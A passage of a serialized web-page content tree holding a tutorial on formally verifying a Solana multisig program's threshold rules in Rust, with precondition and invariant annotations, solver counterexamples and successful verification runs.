}\n",[23196],{"type":23,"tag":94,"props":23197,"children":23198},{"__ignoreMap":7},[23199,23207],{"type":23,"tag":314,"props":23200,"children":23201},{"class":316,"line":317},[23202],{"type":23,"tag":314,"props":23203,"children":23204},{"style":338},[23205],{"type":28,"value":23206},"#[succeeds_if()]\n",{"type":23,"tag":314,"props":23208,"children":23209},{"class":316,"line":370},[23210,23214,23218,23222,23226,23230,23235,23239],{"type":23,"tag":314,"props":23211,"children":23212},{"style":321},[23213],{"type":28,"value":12938},{"type":23,"tag":314,"props":23215,"children":23216},{"style":321},[23217],{"type":28,"value":12943},{"type":23,"tag":314,"props":23219,"children":23220},{"style":332},[23221],{"type":28,"value":6368},{"type":23,"tag":314,"props":23223,"children":23224},{"style":338},[23225],{"type":28,"value":341},{"type":23,"tag":314,"props":23227,"children":23228},{"style":354},[23229],{"type":28,"value":8840},{"type":23,"tag":314,"props":23231,"children":23232},{"style":338},[23233],{"type":28,"value":23234},") { ",{"type":23,"tag":314,"props":23236,"children":23237},{"style":354},[23238],{"type":28,"value":8840},{"type":23,"tag":314,"props":23240,"children":23241},{"style":338},[23242],{"type":28,"value":8845},{"type":23,"tag":24,"props":23244,"children":23245},{},[23246],{"type":28,"value":23247},"Running the solver, we get:",{"type":23,"tag":304,"props":23249,"children":23251},{"code":23250},"...\nVERIFICATION:- FAILED\nVerification Time: 6.404167s\n",[23252],{"type":23,"tag":94,"props":23253,"children":23254},{"__ignoreMap":7},[23255],{"type":28,"value":23250},{"type":23,"tag":24,"props":23257,"children":23258},{},[23259,23261,23266],{"type":28,"value":23260},"This means that ",{"type":23,"tag":94,"props":23262,"children":23264},{"className":23263},[],[23265],{"type":28,"value":1481},{"type":28,"value":23267}," does not imply that the function will succeed (which is expected looking at the implementation above).",{"type":23,"tag":24,"props":23269,"children":23270},{},[23271],{"type":28,"value":23272},"We can ask the solver to produce a counterexample:",{"type":23,"tag":304,"props":23274,"children":23276},{"code":23275},"threshold: 33764\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[23277],{"type":23,"tag":94,"props":23278,"children":23279},{"__ignoreMap":7},[23280],{"type":28,"value":23275},{"type":23,"tag":24,"props":23282,"children":23283},{},[23284],{"type":28,"value":23285},"In this case, we can see that the threshold is invalid; it should not be larger than the number of members.",{"type":23,"tag":24,"props":23287,"children":23288},{},[23289],{"type":23,"tag":186,"props":23290,"children":23291},{},[23292,23294,23300],{"type":28,"value":23293},"Note also that the verifier decided to use a ",{"type":23,"tag":94,"props":23295,"children":23297},{"className":23296},[],[23298],{"type":28,"value":23299},"SparseVec",{"type":28,"value":23301}," which is one of our custom vec implementations. In this case, the code we are verifying doesn't actually read or write to the vector and so we can model it simply as a symbolic size (with no data).",{"type":23,"tag":24,"props":23303,"children":23304},{},[23305],{"type":23,"tag":186,"props":23306,"children":23307},{},[23308,23310,23315,23316,23322,23324,23329,23331,23336],{"type":28,"value":23309},"Using a sparse vec rather than a concrete vec is generally preferred as it speeds up computation and allows us to model arbitrarily sized vecs. ",{"type":23,"tag":94,"props":23311,"children":23313},{"className":23312},[],[23314],{"type":28,"value":3067},{"type":28,"value":557},{"type":23,"tag":94,"props":23317,"children":23319},{"className":23318},[],[23320],{"type":28,"value":23321},"pop",{"type":28,"value":23323}," are stubbed out to simply panic for the ",{"type":23,"tag":94,"props":23325,"children":23327},{"className":23326},[],[23328],{"type":28,"value":23299},{"type":28,"value":23330}," and if this code tried to do that we would fall back to the concrete ",{"type":23,"tag":94,"props":23332,"children":23334},{"className":23333},[],[23335],{"type":28,"value":16450},{"type":28,"value":23337}," type.",{"type":23,"tag":24,"props":23339,"children":23340},{},[23341],{"type":28,"value":23342},"We can add this to our constraint and try again:",{"type":23,"tag":304,"props":23344,"children":23346},{"code":23345,"language":2233,"meta":7,"className":2234,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n)]\npub fn create(...) { ... }\n",[23347],{"type":23,"tag":94,"props":23348,"children":23349},{"__ignoreMap":7},[23350,23358,23395,23402],{"type":23,"tag":314,"props":23351,"children":23352},{"class":316,"line":317},[23353],{"type":23,"tag":314,"props":23354,"children":23355},{"style":338},[23356],{"type":28,"value":23357},"#[succeeds_if(\n",{"type":23,"tag":314,"props":23359,"children":23360},{"class":316,"line":370},[23361,23366,23370,23374,23378,23382,23386,23390],{"type":23,"tag":314,"props":23362,"children":23363},{"style":338},[23364],{"type":28,"value":23365}," (threshold ",{"type":23,"tag":314,"props":23367,"children":23368},{"style":321},[23369],{"type":28,"value":8094},{"type":23,"tag":314,"props":23371,"children":23372},{"style":2674},[23373],{"type":28,"value":12979},{"type":23,"tag":314,"props":23375,"children":23376},{"style":338},[23377],{"type":28,"value":2343},{"type":23,"tag":314,"props":23379,"children":23380},{"style":354},[23381],{"type":28,"value":1165},{"type":23,"tag":314,"props":23383,"children":23384},{"style":338},[23385],{"type":28,"value":22622},{"type":23,"tag":314,"props":23387,"children":23388},{"style":354},[23389],{"type":28,"value":282},{"type":23,"tag":314,"props":23391,"children":23392},{"style":338},[23393],{"type":28,"value":23394},"len()\n",{"type":23,"tag":314,"props":23396,"children":23397},{"class":316,"line":380},[23398],{"type":23,"tag":314,"props":23399,"children":23400},{"style":338},[23401],{"type":28,"value":19496},{"type":23,"tag":314,"props":23403,"children":23404},{"class":316,"line":1091},[23405,23409,23413,23417,23421,23425,23429,23433],{"type":23,"tag":314,"props":23406,"children":23407},{"style":321},[23408],{"type":28,"value":12938},{"type":23,"tag":314,"props":23410,"children":23411},{"style":321},[23412],{"type":28,"value":12943},{"type":23,"tag":314,"props":23414,"children":23415},{"style":332},[23416],{"type":28,"value":6368},{"type":23,"tag":314,"props":23418,"children":23419},{"style":338},[23420],{"type":28,"value":341},{"type":23,"tag":314,"props":23422,"children":23423},{"style":354},[23424],{"type":28,"value":8840},{"type":23,"tag":314,"props":23426,"children":23427},{"style":338},[23428],{"type":28,"value":23234},{"type":23,"tag":314,"props":23430,"children":23431},{"style":354},[23432],{"type":28,"value":8840},{"type":23,"tag":314,"props":23434,"children":23435},{"style":338},[23436],{"type":28,"value":8845},{"type":23,"tag":24,"props":23438,"children":23439},{},[23440],{"type":28,"value":23441},"Verification failed again! This time we get a different counterexample:",{"type":23,"tag":304,"props":23443,"children":23445},{"code":23444},"threshold: 0\ncreate_key: ...\nmembers: SparseVec { size: 19 }\n",[23446],{"type":23,"tag":94,"props":23447,"children":23448},{"__ignoreMap":7},[23449],{"type":28,"value":23444},{"type":23,"tag":24,"props":23451,"children":23452},{},[23453],{"type":28,"value":23454},"Aha! The threshold cannot be 0 either... Let's try again:",{"type":23,"tag":304,"props":23456,"children":23458},{"code":23457,"language":2233,"meta":7,"className":2234,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && threshold != 0\n)]\npub fn create(...) { ... }\n",[23459],{"type":23,"tag":94,"props":23460,"children":23461},{"__ignoreMap":7},[23462,23469,23504,23525,23532],{"type":23,"tag":314,"props":23463,"children":23464},{"class":316,"line":317},[23465],{"type":23,"tag":314,"props":23466,"children":23467},{"style":338},[23468],{"type":28,"value":23357},{"type":23,"tag":314,"props":23470,"children":23471},{"class":316,"line":370},[23472,23476,23480,23484,23488,23492,23496,23500],{"type":23,"tag":314,"props":23473,"children":23474},{"style":338},[23475],{"type":28,"value":23365},{"type":23,"tag":314,"props":23477,"children":23478},{"style":321},[23479],{"type":28,"value":8094},{"type":23,"tag":314,"props":23481,"children":23482},{"style":2674},[23483],{"type":28,"value":12979},{"type":23,"tag":314,"props":23485,"children":23486},{"style":338},[23487],{"type":28,"value":2343},{"type":23,"tag":314,"props":23489,"children":23490},{"style":354},[23491],{"type":28,"value":1165},{"type":23,"tag":314,"props":23493,"children":23494},{"style":338},[23495],{"type":28,"value":22622},{"type":23,"tag":314,"props":23497,"children":23498},{"style":354},[23499],{"type":28,"value":282},{"type":23,"tag":314,"props":23501,"children":23502},{"style":338},[23503],{"type":28,"value":23394},{"type":23,"tag":314,"props":23505,"children":23506},{"class":316,"line":380},[23507,23511,23516,23520],{"type":23,"tag":314,"props":23508,"children":23509},{"style":354},[23510],{"type":28,"value":14863},{"type":23,"tag":314,"props":23512,"children":23513},{"style":338},[23514],{"type":28,"value":23515}," threshold ",{"type":23,"tag":314,"props":23517,"children":23518},{"style":354},[23519],{"type":28,"value":1196},{"type":23,"tag":314,"props":23521,"children":23522},{"style":338},[23523],{"type":28,"value":23524}," 0\n",{"type":23,"tag":314,"props":23526,"children":23527},{"class":316,"line":1091},[23528],{"type":23,"tag":314,"props":23529,"children":23530},{"style":338},[23531],{"type":28,"value":19496},{"type":23,"tag":314,"props":23533,"children":23534},{"class":316,"line":1141},[23535,23539,23543,23547,23551,23555,23559,23563],{"type":23,"tag":314,"props":23536,"children":23537},{"style":321},[23538],{"type":28,"value":12938},{"type":23,"tag":314,"props":23540,"children":23541},{"style":321},[23542],{"type":28,"value":12943},{"type":23,"tag":314,"props":23544,"children":23545},{"style":332},[23546],{"type":28,"value":6368},{"type":23,"tag":314,"props":23548,"children":23549},{"style":338},[23550],{"type":28,"value":341},{"type":23,"tag":314,"props":23552,"children":23553},{"style":354},[23554],{"type":28,"value":8840},{"type":23,"tag":314,"props":23556,"children":23557},{"style":338},[23558],{"type":28,"value":23234},{"type":23,"tag":314,"props":23560,"children":23561},{"style":354},[23562],{"type":28,"value":8840},{"type":23,"tag":314,"props":23564,"children":23565},{"style":338},[23566],{"type":28,"value":8845},{"type":23,"tag":24,"props":23568,"children":23569},{},[23570],{"type":28,"value":23571},"A third counterexample:",{"type":23,"tag":304,"props":23573,"children":23575},{"code":23574},"threshold: 4\ncreate_key: ...\nmembers: SparseVec { size: 536870920 }\n",[23576],{"type":23,"tag":94,"props":23577,"children":23578},{"__ignoreMap":7},[23579],{"type":28,"value":23574},{"type":23,"tag":24,"props":23581,"children":23582},{},[23583,23585,23591],{"type":28,"value":23584},"Here we see the size of our ",{"type":23,"tag":94,"props":23586,"children":23588},{"className":23587},[],[23589],{"type":28,"value":23590},"members",{"type":28,"value":23592}," vec is huge! We need to constrain that to be less than u16::MAX:",{"type":23,"tag":304,"props":23594,"children":23596},{"code":23595,"language":2233,"meta":7,"className":2234,"style":7},"#[succeeds_if(\n (threshold as usize) \u003C= members.len()\n && (threshold != 0)\n && (members.len() \u003C= (u16::MAX as usize))\n)]\npub fn create(...) { ... }\n",[23597],{"type":23,"tag":94,"props":23598,"children":23599},{"__ignoreMap":7},[23600,23607,23642,23663,23715,23722],{"type":23,"tag":314,"props":23601,"children":23602},{"class":316,"line":317},[23603],{"type":23,"tag":314,"props":23604,"children":23605},{"style":338},[23606],{"type":28,"value":23357},{"type":23,"tag":314,"props":23608,"children":23609},{"class":316,"line":370},[23610,23614,23618,23622,23626,23630,23634,23638],{"type":23,"tag":314,"props":23611,"children":23612},{"style":338},[23613],{"type":28,"value":23365},{"type":23,"tag":314,"props":23615,"children":23616},{"style":321},[23617],{"type":28,"value":8094},{"type":23,"tag":314,"props":23619,"children":23620},{"style":2674},[23621],{"type":28,"value":12979},{"type":23,"tag":314,"props":23623,"children":23624},{"style":338},[23625],{"type":28,"value":2343},{"type":23,"tag":314,"props":23627,"children":23628},{"style":354},[23629],{"type":28,"value":1165},{"type":23,"tag":314,"props":23631,"children":23632},{"style":338},[23633],{"type":28,"value":22622},{"type":23,"tag":314,"props":23635,"children":23636},{"style":354},[23637],{"type":28,"value":282},{"type":23,"tag":314,"props":23639,"children":23640},{"style":338},[23641],{"type":28,"value":23394},{"type":23,"tag":314,"props":23643,"children":23644},{"class":316,"line":380},[23645,23649,23654,23658],{"type":23,"tag":314,"props":23646,"children":23647},{"style":354},[23648],{"type":28,"value":14863},{"type":23,"tag":314,"props":23650,"children":23651},{"style":338},[23652],{"type":28,"value":23653}," (threshold ",{"type":23,"tag":314,"props":23655,"children":23656},{"style":354},[23657],{"type":28,"value":1196},{"type":23,"tag":314,"props":23659,"children":23660},{"style":338},[23661],{"type":28,"value":23662}," 0)\n",{"type":23,"tag":314,"props":23664,"children":23665},{"class":316,"line":1091},[23666,23670,23674,23678,23682,23686,23690,23695,23699,23703,23707,23711],{"type":23,"tag":314,"props":23667,"children":23668},{"style":354},[23669],{"type":28,"value":14863},{"type":23,"tag":314,"props":23671,"children":23672},{"style":338},[23673],{"type":28,"value":22236},{"type":23,"tag":314,"props":23675,"children":23676},{"style":354},[23677],{"type":28,"value":282},{"type":23,"tag":314,"props":23679,"children":23680},{"style":338},[23681],{"type":28,"value":20258},{"type":23,"tag":314,"props":23683,"children":23684},{"style":354},[23685],{"type":28,"value":1165},{"type":23,"tag":314,"props":23687,"children":23688},{"style":338},[23689],{"type":28,"value":2324},{"type":23,"tag":314,"props":23691,"children":23692},{"style":2674},[23693],{"type":28,"value":23694},"u16",{"type":23,"tag":314,"props":23696,"children":23697},{"style":354},[23698],{"type":28,"value":2737},{"type":23,"tag":314,"props":23700,"children":23701},{"style":2674},[23702],{"type":28,"value":20276},{"type":23,"tag":314,"props":23704,"children":23705},{"style":321},[23706],{"type":28,"value":8080},{"type":23,"tag":314,"props":23708,"children":23709},{"style":2674},[23710],{"type":28,"value":12979},{"type":23,"tag":314,"props":23712,"children":23713},{"style":338},[23714],{"type":28,"value":18949},{"type":23,"tag":314,"props":23716,"children":23717},{"class":316,"line":1141},[23718],{"type":23,"tag":314,"props":23719,"children":23720},{"style":338},[23721],{"type":28,"value":19496},{"type":23,"tag":314,"props":23723,"children":23724},{"class":316,"line":1173},[23725,23729,23733,23737,23741,23745,23749,23753],{"type":23,"tag":314,"props":23726,"children":23727},{"style":321},[23728],{"type":28,"value":12938},{"type":23,"tag":314,"props":23730,"children":23731},{"style":321},[23732],{"type":28,"value":12943},{"type":23,"tag":314,"props":23734,"children":23735},{"style":332},[23736],{"type":28,"value":6368},{"type":23,"tag":314,"props":23738,"children":23739},{"style":338},[23740],{"type":28,"value":341},{"type":23,"tag":314,"props":23742,"children":23743},{"style":354},[23744],{"type":28,"value":8840},{"type":23,"tag":314,"props":23746,"children":23747},{"style":338},[23748],{"type":28,"value":23234},{"type":23,"tag":314,"props":23750,"children":23751},{"style":354},[23752],{"type":28,"value":8840},{"type":23,"tag":314,"props":23754,"children":23755},{"style":338},[23756],{"type":28,"value":8845},{"type":23,"tag":24,"props":23758,"children":23759},{},[23760],{"type":28,"value":23761},"And now we get:",{"type":23,"tag":304,"props":23763,"children":23765},{"code":23764},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.6634517s\n",[23766],{"type":23,"tag":94,"props":23767,"children":23768},{"__ignoreMap":7},[23769],{"type":28,"value":23764},{"type":23,"tag":24,"props":23771,"children":23772},{},[23773],{"type":28,"value":23774},"🥳🥳🥳",{"type":23,"tag":24,"props":23776,"children":23777},{},[23778],{"type":28,"value":23779},"The attentive reader may have noticed that we didn't need to verify this condition:",{"type":23,"tag":304,"props":23781,"children":23783},{"code":23782,"language":2233,"meta":7,"className":2234,"style":7},"if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n}\n",[23784],{"type":23,"tag":94,"props":23785,"children":23786},{"__ignoreMap":7},[23787,23810,23841],{"type":23,"tag":314,"props":23788,"children":23789},{"class":316,"line":317},[23790,23794,23798,23802,23806],{"type":23,"tag":314,"props":23791,"children":23792},{"style":2284},[23793],{"type":28,"value":14821},{"type":23,"tag":314,"props":23795,"children":23796},{"style":360},[23797],{"type":28,"value":22701},{"type":23,"tag":314,"props":23799,"children":23800},{"style":354},[23801],{"type":28,"value":7971},{"type":23,"tag":314,"props":23803,"children":23804},{"style":1054},[23805],{"type":28,"value":3778},{"type":23,"tag":314,"props":23807,"children":23808},{"style":338},[23809],{"type":28,"value":1449},{"type":23,"tag":314,"props":23811,"children":23812},{"class":316,"line":370},[23813,23817,23821,23825,23829,23833,23837],{"type":23,"tag":314,"props":23814,"children":23815},{"style":2284},[23816],{"type":28,"value":16228},{"type":23,"tag":314,"props":23818,"children":23819},{"style":332},[23820],{"type":28,"value":22756},{"type":23,"tag":314,"props":23822,"children":23823},{"style":338},[23824],{"type":28,"value":341},{"type":23,"tag":314,"props":23826,"children":23827},{"style":2674},[23828],{"type":28,"value":22765},{"type":23,"tag":314,"props":23830,"children":23831},{"style":354},[23832],{"type":28,"value":2737},{"type":23,"tag":314,"props":23834,"children":23835},{"style":2674},[23836],{"type":28,"value":22774},{"type":23,"tag":314,"props":23838,"children":23839},{"style":338},[23840],{"type":28,"value":1025},{"type":23,"tag":314,"props":23842,"children":23843},{"class":316,"line":380},[23844],{"type":23,"tag":314,"props":23845,"children":23846},{"style":338},[23847],{"type":28,"value":386},{"type":23,"tag":24,"props":23849,"children":23850},{},[23851,23853,23859,23861,23866,23868,23873,23875,23880],{"type":28,"value":23852},"In this case this is actually redundant because if ",{"type":23,"tag":94,"props":23854,"children":23856},{"className":23855},[],[23857],{"type":28,"value":23858},"members.len() == 0",{"type":28,"value":23860}," then our threshold would also have to be ",{"type":23,"tag":94,"props":23862,"children":23864},{"className":23863},[],[23865],{"type":28,"value":1600},{"type":28,"value":23867}," (and our ",{"type":23,"tag":94,"props":23869,"children":23871},{"className":23870},[],[23872],{"type":28,"value":21987},{"type":28,"value":23874}," is not allowed to be ",{"type":23,"tag":94,"props":23876,"children":23878},{"className":23877},[],[23879],{"type":28,"value":1600},{"type":28,"value":23881},"). The solver realizes that this situation is impossible and therefore the expression we have above is sufficient!",{"type":23,"tag":837,"props":23883,"children":23885},{"id":23884},"_2-verify-threshold-requirements",[23886],{"type":28,"value":23887},"2. Verify threshold requirements",{"type":23,"tag":24,"props":23889,"children":23890},{},[23891],{"type":28,"value":23892},"A critical security property for multisigs is that the threshold should never be zero (which would let anyone issue transactions) and the threshold should never be greater than the number of members (which would let nobody issue transactions).",{"type":23,"tag":24,"props":23894,"children":23895},{},[23896,23898,23902],{"type":28,"value":23897},"Unlike the previous example, we want to verify this in ",{"type":23,"tag":186,"props":23899,"children":23900},{},[23901],{"type":28,"value":8550},{"type":28,"value":23903}," cases. I.e. any instruction that could mutate the multisig account.",{"type":23,"tag":24,"props":23905,"children":23906},{},[23907,23909,23913,23915,23920],{"type":28,"value":23908},"In this case, we want to model this as an ",{"type":23,"tag":186,"props":23910,"children":23911},{},[23912],{"type":28,"value":21015},{"type":28,"value":23914}," on the ",{"type":23,"tag":94,"props":23916,"children":23918},{"className":23917},[],[23919],{"type":28,"value":21979},{"type":28,"value":23921}," account struct:",{"type":23,"tag":304,"props":23923,"children":23925},{"code":23924,"language":2233,"meta":7,"className":2234,"style":7},"#[account]\n#[derive(Clone, Debug)]\n#[invariant(\n (self.threshold >= 1)\n && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n pub threshold: u16, // threshold for signatures\n pub authority_index: u16, // index to seed other authorities under this multisig\n pub transaction_index: u32, // look up and seed reference for transactions\n pub ms_change_index: u32, // the last executed/closed transaction\n pub bump: u8, // bump for the multisig seed\n pub create_key: Pubkey, // random key(or not) used to seed the multisig pda\n pub allow_external_execute: bool, // allow non-member keys to execute txs\n pub keys: Vec\u003CPubkey>, // keys of the members\n}\n",[23926],{"type":23,"tag":94,"props":23927,"children":23928},{"__ignoreMap":7},[23929,23936,23961,23968,23992,24043,24050,24069,24096,24123,24150,24177,24204,24231,24258,24293],{"type":23,"tag":314,"props":23930,"children":23931},{"class":316,"line":317},[23932],{"type":23,"tag":314,"props":23933,"children":23934},{"style":338},[23935],{"type":28,"value":20007},{"type":23,"tag":314,"props":23937,"children":23938},{"class":316,"line":370},[23939,23943,23948,23952,23957],{"type":23,"tag":314,"props":23940,"children":23941},{"style":338},[23942],{"type":28,"value":22075},{"type":23,"tag":314,"props":23944,"children":23945},{"style":2674},[23946],{"type":28,"value":23947},"Clone",{"type":23,"tag":314,"props":23949,"children":23950},{"style":338},[23951],{"type":28,"value":778},{"type":23,"tag":314,"props":23953,"children":23954},{"style":2674},[23955],{"type":28,"value":23956},"Debug",{"type":23,"tag":314,"props":23958,"children":23959},{"style":338},[23960],{"type":28,"value":19496},{"type":23,"tag":314,"props":23962,"children":23963},{"class":316,"line":380},[23964],{"type":23,"tag":314,"props":23965,"children":23966},{"style":338},[23967],{"type":28,"value":20015},{"type":23,"tag":314,"props":23969,"children":23970},{"class":316,"line":1091},[23971,23976,23980,23984,23988],{"type":23,"tag":314,"props":23972,"children":23973},{"style":338},[23974],{"type":28,"value":23975}," (self",{"type":23,"tag":314,"props":23977,"children":23978},{"style":354},[23979],{"type":28,"value":282},{"type":23,"tag":314,"props":23981,"children":23982},{"style":338},[23983],{"type":28,"value":20308},{"type":23,"tag":314,"props":23985,"children":23986},{"style":354},[23987],{"type":28,"value":9191},{"type":23,"tag":314,"props":23989,"children":23990},{"style":338},[23991],{"type":28,"value":20317},{"type":23,"tag":314,"props":23993,"children":23994},{"class":316,"line":1141},[23995,23999,24003,24007,24011,24015,24019,24023,24027,24031,24035,24039],{"type":23,"tag":314,"props":23996,"children":23997},{"style":354},[23998],{"type":28,"value":14863},{"type":23,"tag":314,"props":24000,"children":24001},{"style":338},[24002],{"type":28,"value":20241},{"type":23,"tag":314,"props":24004,"children":24005},{"style":354},[24006],{"type":28,"value":282},{"type":23,"tag":314,"props":24008,"children":24009},{"style":338},[24010],{"type":28,"value":20308},{"type":23,"tag":314,"props":24012,"children":24013},{"style":321},[24014],{"type":28,"value":8094},{"type":23,"tag":314,"props":24016,"children":24017},{"style":2674},[24018],{"type":28,"value":12979},{"type":23,"tag":314,"props":24020,"children":24021},{"style":354},[24022],{"type":28,"value":7451},{"type":23,"tag":314,"props":24024,"children":24025},{"style":338},[24026],{"type":28,"value":13044},{"type":23,"tag":314,"props":24028,"children":24029},{"style":354},[24030],{"type":28,"value":282},{"type":23,"tag":314,"props":24032,"children":24033},{"style":338},[24034],{"type":28,"value":20220},{"type":23,"tag":314,"props":24036,"children":24037},{"style":354},[24038],{"type":28,"value":282},{"type":23,"tag":314,"props":24040,"children":24041},{"style":338},[24042],{"type":28,"value":20369},{"type":23,"tag":314,"props":24044,"children":24045},{"class":316,"line":1173},[24046],{"type":23,"tag":314,"props":24047,"children":24048},{"style":338},[24049],{"type":28,"value":19496},{"type":23,"tag":314,"props":24051,"children":24052},{"class":316,"line":1208},[24053,24057,24061,24065],{"type":23,"tag":314,"props":24054,"children":24055},{"style":321},[24056],{"type":28,"value":12938},{"type":23,"tag":314,"props":24058,"children":24059},{"style":321},[24060],{"type":28,"value":20388},{"type":23,"tag":314,"props":24062,"children":24063},{"style":2674},[24064],{"type":28,"value":20393},{"type":23,"tag":314,"props":24066,"children":24067},{"style":338},[24068],{"type":28,"value":1449},{"type":23,"tag":314,"props":24070,"children":24071},{"class":316,"line":1216},[24072,24076,24080,24084,24088,24092],{"type":23,"tag":314,"props":24073,"children":24074},{"style":321},[24075],{"type":28,"value":20080},{"type":23,"tag":314,"props":24077,"children":24078},{"style":360},[24079],{"type":28,"value":20409},{"type":23,"tag":314,"props":24081,"children":24082},{"style":354},[24083],{"type":28,"value":3746},{"type":23,"tag":314,"props":24085,"children":24086},{"style":2674},[24087],{"type":28,"value":20267},{"type":23,"tag":314,"props":24089,"children":24090},{"style":338},[24091],{"type":28,"value":20422},{"type":23,"tag":314,"props":24093,"children":24094},{"style":374},[24095],{"type":28,"value":20427},{"type":23,"tag":314,"props":24097,"children":24098},{"class":316,"line":1301},[24099,24103,24107,24111,24115,24119],{"type":23,"tag":314,"props":24100,"children":24101},{"style":321},[24102],{"type":28,"value":20080},{"type":23,"tag":314,"props":24104,"children":24105},{"style":360},[24106],{"type":28,"value":20439},{"type":23,"tag":314,"props":24108,"children":24109},{"style":354},[24110],{"type":28,"value":3746},{"type":23,"tag":314,"props":24112,"children":24113},{"style":2674},[24114],{"type":28,"value":20267},{"type":23,"tag":314,"props":24116,"children":24117},{"style":338},[24118],{"type":28,"value":20452},{"type":23,"tag":314,"props":24120,"children":24121},{"style":374},[24122],{"type":28,"value":20457},{"type":23,"tag":314,"props":24124,"children":24125},{"class":316,"line":1343},[24126,24130,24134,24138,24142,24146],{"type":23,"tag":314,"props":24127,"children":24128},{"style":321},[24129],{"type":28,"value":20080},{"type":23,"tag":314,"props":24131,"children":24132},{"style":360},[24133],{"type":28,"value":20469},{"type":23,"tag":314,"props":24135,"children":24136},{"style":354},[24137],{"type":28,"value":3746},{"type":23,"tag":314,"props":24139,"children":24140},{"style":2674},[24141],{"type":28,"value":16788},{"type":23,"tag":314,"props":24143,"children":24144},{"style":338},[24145],{"type":28,"value":20482},{"type":23,"tag":314,"props":24147,"children":24148},{"style":374},[24149],{"type":28,"value":20487},{"type":23,"tag":314,"props":24151,"children":24152},{"class":316,"line":1351},[24153,24157,24161,24165,24169,24173],{"type":23,"tag":314,"props":24154,"children":24155},{"style":321},[24156],{"type":28,"value":20080},{"type":23,"tag":314,"props":24158,"children":24159},{"style":360},[24160],{"type":28,"value":20499},{"type":23,"tag":314,"props":24162,"children":24163},{"style":354},[24164],{"type":28,"value":3746},{"type":23,"tag":314,"props":24166,"children":24167},{"style":2674},[24168],{"type":28,"value":16788},{"type":23,"tag":314,"props":24170,"children":24171},{"style":338},[24172],{"type":28,"value":20452},{"type":23,"tag":314,"props":24174,"children":24175},{"style":374},[24176],{"type":28,"value":20516},{"type":23,"tag":314,"props":24178,"children":24179},{"class":316,"line":1387},[24180,24184,24188,24192,24196,24200],{"type":23,"tag":314,"props":24181,"children":24182},{"style":321},[24183],{"type":28,"value":20080},{"type":23,"tag":314,"props":24185,"children":24186},{"style":360},[24187],{"type":28,"value":20528},{"type":23,"tag":314,"props":24189,"children":24190},{"style":354},[24191],{"type":28,"value":3746},{"type":23,"tag":314,"props":24193,"children":24194},{"style":2674},[24195],{"type":28,"value":13880},{"type":23,"tag":314,"props":24197,"children":24198},{"style":338},[24199],{"type":28,"value":20541},{"type":23,"tag":314,"props":24201,"children":24202},{"style":374},[24203],{"type":28,"value":20546},{"type":23,"tag":314,"props":24205,"children":24206},{"class":316,"line":1422},[24207,24211,24215,24219,24223,24227],{"type":23,"tag":314,"props":24208,"children":24209},{"style":321},[24210],{"type":28,"value":20080},{"type":23,"tag":314,"props":24212,"children":24213},{"style":360},[24214],{"type":28,"value":20558},{"type":23,"tag":314,"props":24216,"children":24217},{"style":354},[24218],{"type":28,"value":3746},{"type":23,"tag":314,"props":24220,"children":24221},{"style":2674},[24222],{"type":28,"value":20094},{"type":23,"tag":314,"props":24224,"children":24225},{"style":338},[24226],{"type":28,"value":20571},{"type":23,"tag":314,"props":24228,"children":24229},{"style":374},[24230],{"type":28,"value":20576},{"type":23,"tag":314,"props":24232,"children":24233},{"class":316,"line":1430},[24234,24238,24242,24246,24250,24254],{"type":23,"tag":314,"props":24235,"children":24236},{"style":321},[24237],{"type":28,"value":20080},{"type":23,"tag":314,"props":24239,"children":24240},{"style":360},[24241],{"type":28,"value":20588},{"type":23,"tag":314,"props":24243,"children":24244},{"style":354},[24245],{"type":28,"value":3746},{"type":23,"tag":314,"props":24247,"children":24248},{"style":2674},[24249],{"type":28,"value":11298},{"type":23,"tag":314,"props":24251,"children":24252},{"style":338},[24253],{"type":28,"value":778},{"type":23,"tag":314,"props":24255,"children":24256},{"style":374},[24257],{"type":28,"value":20605},{"type":23,"tag":314,"props":24259,"children":24260},{"class":316,"line":1452},[24261,24265,24269,24273,24277,24281,24285,24289],{"type":23,"tag":314,"props":24262,"children":24263},{"style":321},[24264],{"type":28,"value":20080},{"type":23,"tag":314,"props":24266,"children":24267},{"style":360},[24268],{"type":28,"value":20617},{"type":23,"tag":314,"props":24270,"children":24271},{"style":354},[24272],{"type":28,"value":3746},{"type":23,"tag":314,"props":24274,"children":24275},{"style":2674},[24276],{"type":28,"value":20626},{"type":23,"tag":314,"props":24278,"children":24279},{"style":338},[24280],{"type":28,"value":5060},{"type":23,"tag":314,"props":24282,"children":24283},{"style":2674},[24284],{"type":28,"value":20635},{"type":23,"tag":314,"props":24286,"children":24287},{"style":338},[24288],{"type":28,"value":20640},{"type":23,"tag":314,"props":24290,"children":24291},{"style":374},[24292],{"type":28,"value":20645},{"type":23,"tag":314,"props":24294,"children":24295},{"class":316,"line":1497},[24296],{"type":23,"tag":314,"props":24297,"children":24298},{"style":338},[24299],{"type":28,"value":386},{"type":23,"tag":24,"props":24301,"children":24302},{},[24303,24305,24310],{"type":28,"value":24304},"Our verification framework will generate an invariant harness for each instruction. Instructions that can potentially modify the ",{"type":23,"tag":94,"props":24306,"children":24308},{"className":24307},[],[24309],{"type":28,"value":21979},{"type":28,"value":24311}," object will be checked to ensure that the invariant still holds after modification.",{"type":23,"tag":24,"props":24313,"children":24314},{},[24315,24317,24322],{"type":28,"value":24316},"Let's try this on the ",{"type":23,"tag":94,"props":24318,"children":24320},{"className":24319},[],[24321],{"type":28,"value":22058},{"type":28,"value":24323}," instruction that we've already seen:",{"type":23,"tag":304,"props":24325,"children":24327},{"code":24326},"VERIFICATION:- SUCCESSFUL\nVerification Time: 6.8006988s\n",[24328],{"type":23,"tag":94,"props":24329,"children":24330},{"__ignoreMap":7},[24331],{"type":28,"value":24326},{"type":23,"tag":24,"props":24333,"children":24334},{},[24335,24337,24342],{"type":28,"value":24336},"To ensure this is working, we can test by commenting out this check from ",{"type":23,"tag":94,"props":24338,"children":24340},{"className":24339},[],[24341],{"type":28,"value":22058},{"type":28,"value":3746},{"type":23,"tag":304,"props":24344,"children":24346},{"code":24345,"language":2233,"meta":7,"className":2234,"style":7},"// if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n// return err!(MsError::InvalidThreshold);\n// 